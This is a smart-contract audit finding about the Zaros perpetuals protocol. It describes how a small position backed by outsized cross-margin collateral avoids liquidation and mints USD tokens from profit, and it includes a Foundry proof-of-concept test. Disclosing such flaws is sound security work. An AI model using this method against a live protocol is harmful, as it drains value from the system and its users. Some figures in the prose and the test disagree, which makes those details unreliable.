Summary
Traders can open positions with sizes way below their collateral and farm USD tokens without the risk of being liquidated. That way they will only perform small corrections of their positions when their PnL is positive in order to receive USD tokens. Doing that they will never be subject to liquidation.
Vulnerability Details
Zaros uses a cross-margin approach, meaning that there is a basket of collaterals, and the sum of them multiplied by their LTV, gives the margin that the trader has, but there is no mechanism to allocate only a fraction of this collateral to a certain position and the entire collateral will be utilized as a margin even for positions with sizes way below it. For example, a user can have $100_000 collateral to open an ETH/USD
position valued at only $10_000 with maintenanceMargin 10% (so everything over $1000 will be healthy), this position can’t be liquidated even if the ETH price falls to $1 as we can see in the test provided below.
Also here is how the margin balance is being calculated:
TradingAccount.sol
function getMarginBalanceUsd(
Data storage self,
SD59x18 activePositionsUnrealizedPnlUsdX18
)
internal
view
returns (SD59x18 marginBalanceUsdX18)
{
uint256 cachedMarginCollateralBalanceLength = self.marginCollateralBalanceX18.length();
for (uint256 i; i < cachedMarginCollateralBalanceLength; i++) {
(address collateralType, uint256 balance) = self.marginCollateralBalanceX18.at(i);
MarginCollateralConfiguration.Data storage marginCollateralConfiguration =
MarginCollateralConfiguration.load(collateralType);
UD60x18 adjustedBalanceUsdX18 = marginCollateralConfiguration.getPrice().mul(ud60x18(balance)).mul(
ud60x18(marginCollateralConfiguration.loanToValue)
);
marginBalanceUsdX18 = marginBalanceUsdX18.add(adjustedBalanceUsdX18.intoSD59x18());
}
marginBalanceUsdX18 = marginBalanceUsdX18.add(activePositionsUnrealizedPnlUsdX18);
}
The entire set of collaterals is taken, then this is how the required margins are calculated:
TradingAccount.sol
(UD60x18 positionInitialMarginUsdX18, UD60x18 positionMaintenanceMarginUsdX18) = Position
.getMarginRequirement(
notionalValueX18,
ud60x18(perpMarket.configuration.initialMarginRateX18),
ud60x18(perpMarket.configuration.maintenanceMarginRateX18)
);
And this is done for all the active markets, but in our scenario this is a brand new position and there is a position only in the ETH/USD market. Knowing that information we can see that for positions with size way below the collateral the only way to be liquidated is to the PnL to become such number which will bring the $100_000 to $1000, something that is not possible. After that trader can monitor the prices and when his position is in profit he performs correction with at least minTradeSizeX18
:
if (
!ctx.newPositionSizeX18.isZero()
&& ctx.newPositionSizeX18.abs().lt(sd59x18(int256(uint256(perpMarket.configuration.minTradeSizeX18))))
) {
revert Errors.NewPositionSizeTooSmall();
}
On settlement this will mint him the pnl in form of USD tokens:
if (ctx.pnlUsdX18.gt(SD59x18_ZERO)) {
ctx.marginToAddX18 = ctx.pnlUsdX18.intoUD60x18();
tradingAccount.deposit(ctx.usdToken, ctx.marginToAddX18);
LimitedMintingERC20(ctx.usdToken).mint(address(this), ctx.marginToAddX18.intoUint256());
}
Here is a POC that creates account with $10_000, then opens position in ETH/USD
market with $1000 - price of ETH is $2000. Then price falls to $1 and position is still way above the maintenance margin, and when price is at $5000 PnL is positive and USD can be minted.
forge test --match-test test_open_small_position_with_huge_collateral -vv
file: CreateMarketOrder_Integration_Test
function test_open_small_position_with_huge_collateral() public {
uint128 marketId = 2;
MarketConfig memory marketConfig = getFuzzMarketConfig(marketId);
deal({ token: address(usdz), to: users.naruto.account, give: 100_000e18 });
(
UD60x18 initialMarginUsdX18,
UD60x18 maintenanceMarginUsdX18,
UD60x18 orderFeeUsdX18,
UD60x18 settlementFeeUsdX18
) = perpsEngine.getMarginRequirementForTrade(
marketId, 100e18, SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID
);
uint128 tAcc = createAccountAndDeposit(10_000e18, address(usdz));
changePrank({ msgSender: users.naruto.account });
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({ tradingAccountId: tAcc, marketId: marketId, sizeDelta: 0.5e18 })
);
bytes memory mockSignedReport = getMockedSignedReport(marketConfig.streamId, marketConfig.mockUsdPrice);
address marketOrderKeeper = marketOrderKeepers[marketConfig.marketId];
changePrank({ msgSender: marketOrderKeeper });
perpsEngine.fillMarketOrder(tAcc, marketConfig.marketId, mockSignedReport);
updateMockPriceFeed(marketId, 1e18);
(SD59x18 marginBalanceUsdX18,, UD60x18 maintenanceMarginUsdX18Acc,) =
perpsEngine.getAccountMarginBreakdown(tAcc);
SD59x18 accountTotalUnrealizedPnlUsdX18 = perpsEngine.getAccountTotalUnrealizedPnl(tAcc);
console.log("margin:", marginBalanceUsdX18.intoUint256());
console.log("maintenance:", maintenanceMarginUsdX18Acc.intoUint256());
console.log("pnl at $2000:", uint256(accountTotalUnrealizedPnlUsdX18.intoInt256()));
assertGt(marginBalanceUsdX18.intoUint256(), maintenanceMarginUsdX18Acc.intoUint256());
vm.startPrank(liquidationKeeper);
uint128[] memory accs = new uint128[](1);
accs[0] = tAcc;
perpsEngine.liquidateAccounts(accs);
vm.stopPrank();
(SD59x18 marginBalanceUsdX18Post,,,) = perpsEngine.getAccountMarginBreakdown(tAcc);
assertEq(marginBalanceUsdX18.intoUint256(), marginBalanceUsdX18Post.intoUint256());
SD59x18 accountTotalUnrealizedPnlUsdX18Post = perpsEngine.getAccountTotalUnrealizedPnl(tAcc);
console.log("pnl at $1:", accountTotalUnrealizedPnlUsdX18.intoInt256());
updateMockPriceFeed(marketId, 5000e18);
SD59x18 accountTotalUnrealizedPnlUsdX18PosPriceIncrease = perpsEngine.getAccountTotalUnrealizedPnl(tAcc);
console.log("pnl at $5000:", accountTotalUnrealizedPnlUsdX18PosPriceIncrease.intoInt256());
}
Impact
Risk-free minting of USD tokens by opening position with size way below the current collateral.
Tools Used
Manual Review
Recommendations
Reconsider how the cross-chain margin will happen, force users to select margins of their positions and/or disable opening positions with size below the collateral.